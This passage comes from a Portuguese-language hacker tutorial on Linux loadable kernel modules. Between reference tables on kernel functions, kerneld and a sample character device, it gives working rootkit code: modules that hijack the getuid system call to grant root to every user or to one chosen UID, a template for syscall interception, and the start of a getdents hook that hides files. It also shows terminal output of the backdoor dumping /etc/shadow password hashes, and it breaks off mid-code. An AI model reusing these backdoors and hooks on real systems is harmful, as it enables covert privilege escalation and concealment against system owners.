as configuracoes que desejamos.Lembre-se que current se refere ao processo atual, como vimos anteriormente */if (current->uid != 0) {current->uid = 0;current->gid = 0;current->euid = 0;} return 0;}int init_module(void){original_getuid = sys_call_table[__NR_getuid];sys_call_table[__NR_getuid] = back_get;printk("Backdoor Instalada com Sucesso!!!\n");return 0;}int cleanup_module(void){sys_call_table[__NR_getuid] = original_getuid;printk("Modulo Descarregado!\n");return 0;}------------------------------------------------------------------------Abaixo seguem os passos na shell:* Como root:[localhost]# gcc -c -O3 todos_root.c[localhost]# insmod todos_root.oBackdoor Instalada com Sucesso!!!* Como usuario normal:[localhost]$ iduid=0(root) gid=0(root) euid=1000(nashleon) egid=100(users) groups=100(users)[localhost]$ cat /etc/shadowcat: /etc/shadow: Permission denied[localhost]$ /bin/sh[localhost]# cat /etc/shadowroot:$1$/974tGAj$aEvr5RnMhOVGvYdCyIsGK0:11120:0:::::bin:*:9797:0:::::daemon:*:9797:0:::::adm:*:9797:0:::::lp:*:9797:0:::::sync:*:9797:0:::::shutdown:*:9797:0:::::halt:*:9797:0:::::mail:*:9797:0:::::news:*:9797:0:::::uucp:*:9797:0:::::operator:*:9797:0:::::games:*:9797:0:::::ftp:*:9797:0:::::gdm:*:9797:0:::::nobody:*:9797:0:::::nashleon:$1$0G0btFZ6$jyOft65daqEK3sXIJvG861:11120:0:99999:7::12201:martin:$1$bjAtFaa4$tmDLfVvZAoa71vwFA/.gt1:11120:0:99999:7::12201:Podemos ver que funciona perfeitamente.Mas nesse exemplo todos viraramroot, e isso pode nao ser nada bom, mas vamos com calma.Jah estahconseguindo contemplar os possiveis esquemas??:)5.8 - Lista de Funcoes usadas em Kernel Space-----------------------------------------------No inicio deste tutorial, nos vimos a funcao printk, que eh usada somenteno kernel space.A Tabela abaixo mostra as principais funcoes usadas pelokernel space:+------------------------------------------------------------------------+| FUNCAO | DESCRICAO |+------------------------------------------------------------------------+| int sprintf (char *buf, const | Funcoes para 'enpacotamento' de || char *fmt, ...); | strings. || int vsprintf (char *buf, const | || char *fmt, va_list args); | |+------------------------------------------------------------------------+| printk (...) | Semelhante a printf no user space |+------------------------------------------------------------------------+| void *memset (void *s, char c, | Funcoes de manipulacao de || size_t count); | 'memoria' || void *memcpy (void *dest, const | || void *src, size_t count); | || char *bcopy (const char *src, | || char *dest, int count); | || void *memmove (void *dest, const | || void *src, size_t count); | || int memcmp (const void *cs, const | || void *ct, size_t count); | || void *memscan (void *addr, | || unsigned char c, size_t size); | |+------------------------------------------------------------------------+| char *strcpy (char *dest, const | Semelhantes a strcpy e strncpy || char *src); | no user space, respectivamente || char *strncpy (char *dest, const | || char *src, size_t count); | |+------------------------------------------------------------------------+| char *strcat (char *dest, const | Semelhantes, respectivamente, a || char *src); | strcat e strncat no user space || char *strncat (char *dest, const | || char *src, size_t count); | |+------------------------------------------------------------------------+| int strcmp (const char *cs, | Funcoes de comparacao de strings. || const char *ct); | Semelhantes a strcmp e strncmp do || int strncmp (const char *cs,const | user space || char *ct, size_t count); | |+------------------------------------------------------------------------+| char *strchr (const char *s, | Retorna um ponteiro para primeira || char c); | ocorrencia do char c na string || | s.Semelhante strchr no user space |+------------------------------------------------------------------------+| size_t strlen (const char *s); | Semelhantes a strlen e strnlen, || size_t strnlen (const char *s, | respectivamente, no user space || size_t count); | |+------------------------------------------------------------------------+| size_t strspn (const char *s, | Funcoes usadas para procurar uma || const char *accept); | string de/para um set de caracters.|| char *strpbrk (const char *cs, | Semelhantes a strspn e strpbrk no || const char *ct); | user space |+------------------------------------------------------------------------+| char *strtok (char *s, const | Semelhante a strtok no user space || char *ct); | |+------------------------------------------------------------------------+| unsigned long simple_strtoul | Usada para converter strings em || (const char *cp, char **endp, | numeros || unsigned int base); | |+------------------------------------------------------------------------+| get_user_byte (addr); | Funcoes para acessar a memoria do || put_user_byte (var, addr); | usuario || get_user_word (addr); | || put_user_word (var, addr); | || get_user_long (addr); | || put_user_long (var, addr); | |+------------------------------------------------------------------------+| suser() | Checa por direitor de Super || fsuser() | usuario |+------------------------------------------------------------------------+|int register_chrdev(unsigned int | Funcoes que registram device || major, const char *name, struct | drivers.Sendo que: || file_o perations *fops); | ..._chrdev -> Se refere a devices ||int unregister_chrdev (unsigned | do tipo char. || int major, const char *name); | ..._blkdev -> Se refere a devices ||int register_blkdev (unsigned int | do tipo block. || major, const char *name, struct | || file_o perations *fops); | ||int unregister_blkdev (unsigned | || int major, const char *name); | |+------------------------------------------------------------------------+| int acess_ok(int type, unsigned | Esta funcao retorna verdadeiro(1) || long addr, unsigned long | se o processo atual puder acessar || size); | a memoria no endereco addr, caso || | contrario, retorna falso(0). |+------------------------------------------------------------------------+Existem muitas outras funcoes que podem ser usadas perfeitamente, foge aoobjetivo deste tutorial citar todas, para o intuito de um fucador, bastaessas. Lembre-se sempre que devemos dominar o 'baixo nivel' se virando como que temos nas maos.5.9. - O que eh o Kernel Daemon---------------------------------Explicarei abaixo o conceito de Kernel Daemon em sistemas 2.0.X para quevoce possa entender alguns conceitos somente:O Daemon Kernel(/sbin/kerneld) estah presente em todas as distribuicoes doLinux.Como o proprio nome sugere, este eh um processo no user spaceesperando por alguma acao.Primeiro de tudo, voce deve saber que eh necessarioativar a opcao kerneld enquanto constroi o kernel em ordem para usarcaracteristicas da kernel.Kerneld trabalha do seguinte modo: Se o kernelquer acessar um recurso(no kernel space, logico), que nao estah presentenaquele momento, ele nao produz um erro, ao inves disso, ele pergunta aokerneld por aquele recurso.Se kerneld estah habilitado para prover o recurso,ele carrega o LKM requerido e o kernel pode continuar trabalhando.Pelo usodeste esquema eh possivel carregar LKMs somente quando elas sao realmente necessarias, descarregando-as quando nao ha necessidade do uso das mesmas.O kernel deve estar ciente que este trabalho necessita ser terminado emambos os espacoes(user e kernel).Kerneld existe no user space.Se o kernelrequisita um novo modulo, este daemon recebe uma string do kernel dizendoa ele qual modo deve ser carregado.Eh possivel que o kernel envie um nomegenerico (ao inves do nome do arquivo objeto) como eth0.Neste caso o sistema precisa procurar /etc/modules.conf por linhas de alias.Essaslinhas formam nomes genericos para o LKM requerido naquele sistema.Aseguinte linha diz que eth0 eh representado por um driver LKM Tulip DEC:# /etc/modules.conf # or /etc/conf.modules - isto diferealias eth0 tulipEste era o espaco do user-space representado pelo Daemon Kernel.A parte dokernel space eh essencialmente representada por 4 funcoes.Essas funcoessao todas baseadas em uma chamada para kerneld_send.Kernel_send ehenvolvido para chamar as funcoes encontradas em linux/kerneld.h.A seguintetabela abaixo lista as 4 funcoes mencionadas acima:+------------------------------------------------------------------------+| FUNCAO | DESCRICAO |+------------------------------------------------------------------------+| int sprintf (char *buf, const | Funcoes para enpacotamento de dados || char *fmt, ...); | sobre strings. || int vsprintf (char *buf, const | || char *fmt, va_list args); | |+------------------------------------------------------------------------+| int request_module (const char | Diz para o kerneld que a o kernel || *name); | requer um certo modulo(dizendo um || | nome ou generico nome/ID). |+------------------------------------------------------------------------+| int release_module (const char* | Descarrega um modulo. || name, int waitflag); | |+------------------------------------------------------------------------+| int delayed_release_module | Atrasa o descarregamento do modulo. | | (const char *name); | |+------------------------------------------------------------------------+| int cancel_release_module | Cancela uma chamada de atraso de || (const char *name); | descarregamento de modulo || | (delayed_release_module). |+------------------------------------------------------------------------+Nas versoes 2.2.X, muita coisa mudou, elas nao usam mais kerneld.Elas usamoutro modo para implementar a funcao do kernel space request_module(...),este modo se chama kmod.kmod roda totalmente no kernel space(sem mais IPCpara o user space).Para programadores de LKMs nada muda, voce pode ainda usar o request_module(...) para carregar modulos.5.10. - Criando Seu Proprio Device-----------------------------------Abaixo segue um exemplo bem simples da criacao de um Device Driver do tipochar:-------------------------------- device.c -------------------------------/* Simples Exemplo de Criacao de um Device Drive. Feito por pragmatic para tutorial de LKM da THC. Alterado por Nash Leon para Tutorial de LKM do Unsekurity Team. http://unsekurity.virtualave.net/ */#define MODULE#define __KERNEL__/* Headers Necessarios, sempre tenha atencao maxima com isso! */#include #include #include #include #include /* Abaixo segue funcao para demonstracao */static int abre_driver(struct inode *i, struct file *f){ printk("Unsekurity Team!!\n"); printk("http://unsekurity.virtualave.net/\n"); return 0;}static struct file_operations fops = {NULL, /*lseek*/NULL, /*read*/NULL, /*write*/NULL, /*readdir*/NULL, /*select*/NULL, /*ioctl*/NULL, /*mmap*/abre_driver, /*open, da uma olhada em nossa funcao aberta */NULL, /*release*/NULL /*fsync...*/};int init_module(void){ /* abaixo ele registra o driver com major = 40 e o nome do driver = unsek */ if(register_chrdev(40, "unsek", &fops)) return -EIO; printk("Modulo Carregado com Sucesso!!\n"); return 0;}void cleanup_module(void){/* Desregistra o nosso driver */ unregister_chrdev(40, "unsek");printk("Modulo Descarregado com Sucesso!!\n");}---------------------------------------------------------------------------Se quer saber o que este simples exemplo faz, siga os passos abaixo:# gcc -c -O3 device.c# mknod /dev/unsek c 40 0# insmod device.oVoce pode usar varios esquemas para ver o que tem no device.Exemplos:# cat /dev/unsekUnsekurity Team!!http://unsekurity.virtualave.net/cat: /dev/unsek: Invalid argument# strings /dev/unsekUnsekurity Team!!http://unsekurity.virtualave.net/Este eh soh um exemplo basico.Logo veremos algo mais interessante.5.11. - Alguns Macros----------------------Varios sao os macros usados na construcao simplificada de LKMs.Ireidescrever apenas alguns, mas uma consulta aos fontes de sua kernelajudaria bastante.+ Contadores-------------O Sistema mantem um contador para cada modulo para determinar se o mesmopode ser eliminado sem causar prejuizos ao sistema.O sistema precisa destainformacao, pois o modulo nao poderah ser descarregado se estiver sendoutilizado: nao se deve remover um tipo de sistema de arquivos enquanto eleeh montado e nem parar um driver de caracteres enquanto um processo oestiver executando(esse conceito eh usada para tornar um modulo irremovivel).O Contador eh controlado por tres macros:MOD_INC_USE_COUNT -> Adiciona ao contador um modulo atual.MOD_DEC_USE_COUNT -> Subtrai do Contador.MOD_IN_USE ->Avalia como verdadeiro se o contador for diferente de zero.Essas macros sao definidas em e funcionam nas estruturasinternas dos dados que nao devem ser acessadas diretamente pelo programador.+ Usando Recursos------------------Um modulo nao pode executar suas tarefas sem usar os recursos do sistema,como memoria, portas de E/S e linhas de interrupcao.Como programador, vocejah deve estar acostumado a gerenciar a alocacao de memoria e, essa tarefaeh bastante semelhante a escrever o codigo do kernel.Seu programa obtemuma area de memoria, usando 'kmalloc' e a libera usando 'kfree'.Essasfuncoes funcionam como malloc e free, a menos que kmalloc tenha umargumento adicional, a prioridade.Na maioria das vezes, uma prioridade deGFP_KERNEL serah utilizada.A abreviacao GFP significa "Get Free Page"(Liberar Pagina).5.12. - Esquemas para Fucadores--------------------------------Agora vamos ao que de fato interessa.Com as ferramentas acima descritas,jah podemos fazer muitas coisas, e aqui irei disponibilizar alguns esquemas.5.12.1 - Interceptando systemcalls------------------------------------Para interceptar um system call nao tem muito segredo.Basta usarmos apropria tabela de system calls para nos dar uma forca, abaixo segue umexemplo jah demonstrado anteriormente:----------------------------- soheuroot.c --------------------------------#define MODULE#define __KERNEL__#include #include #include #include #include #include #include #define MINHA_UID 1000extern void *sys_call_table[] ;/* Funcao que serah usada para salvar o antigo system call */int (*original_getuid)();/* Nossa funcao backdoor para sys_getuid */int back_get(){/* Compara uid atual, se for igual a que desejamos, ele irah transformar os configuracoes que desejamos */if (current->uid == MINHA_UID) {current->uid = 0;current->gid = 0;current->euid = 0;} return 0;}int init_module(void){printk("BACKDOOR VIA LKM by Nash Leon!!\n");printk("\n");printk("Instalando Backdoor...\n");original_getuid = sys_call_table[__NR_getuid];sys_call_table[__NR_getuid] = back_get;printk("****.* Unsekurity Team *.****\n");printk("Backdoor Instalada com Sucesso!!!\n");return 0;}int cleanup_module(void){sys_call_table[__NR_getuid] = original_getuid;printk("Modulo Descarregado!\n");return 0;}----------------------------------------------------------------------Compile ele normalmente e teste num usuario e verah que funciona perfeitamente.O escopo abaixo nos dah o esquema para se interceptar umsystem call:-------------- ESCOPO PARA SE INTERCEPTAR UM SYSTEM CALL ---------------#define MODULE#define __KERNEL__(HEADERS NECESSARIOS)extern void *sys_call_table[] ;(FUNCAO QUE SERAH USADA PARA SALVAR O ANTIGO SYSTEM CALL - FSALVA);(FUNCAO COM CODIGOS QUE SERAO EXECUTADOS APOS A INTERCEPTACAO - FHACKER);int init_module(void) { FSALVA = sys_call_table[__NR_SYSTEMCALL]; sys_call_table[SYS_SYSTEMCALL]= FHACKER; return 0;}void cleanup_module(void) { sys_call_table[SYS_SYSTEMCALL]= FSALVA; /* Retorna de volta o system call original.}------------------------------------------------------------------------Existem diversos outros system calls interessantes para interceptar, nodecorrer deste tutorial voce verah alguns, entre fundo na programacao deLKM, voce verah muitas coisas interessantes.5.12.2. - Escondendo um arquivo--------------------------------Isto eh mesmo interessante!!:). Acho que os passos que damos nos levama uma 'estranheza', quanto mais aprendemos mais divertido as coisas vaoficando, acho que o hacking tem isso, as tecnicas dao prazer!!:)Como vimos na parte sobre system calls, o system call responsavel pornos das informacoes sobre um arquivo se chama __NR_getdents (veja tabelano item 3.4). Usando o esboco acima, estamos capacitados a construir umLKM capaz de esconder um arquivo da percepcao dos comandos que usam estesystem call.--------------------------- escondels.c --------------------------------/* LKM PARA ESCONDER UM ARQUIVO. Desenvolvido por pragmatic para Tutorial de LKM da THC. Alterado por Nash Leon para Tutorial de LKM do Unsekurity Team. LKM para Kernel 2.2.X(Testado em 2.2.13).*/#define MODULE#define __KERNEL__#include #include #include #include #include #include #include /* Defina o arquivo abaixo para que esconde algum arquivo seu */#define ARQUIVO "senhas.txt"extern void* sys_call_table[];int (*original_getdents) (uint, struct dirent *, uint);int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned intcount){ unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; c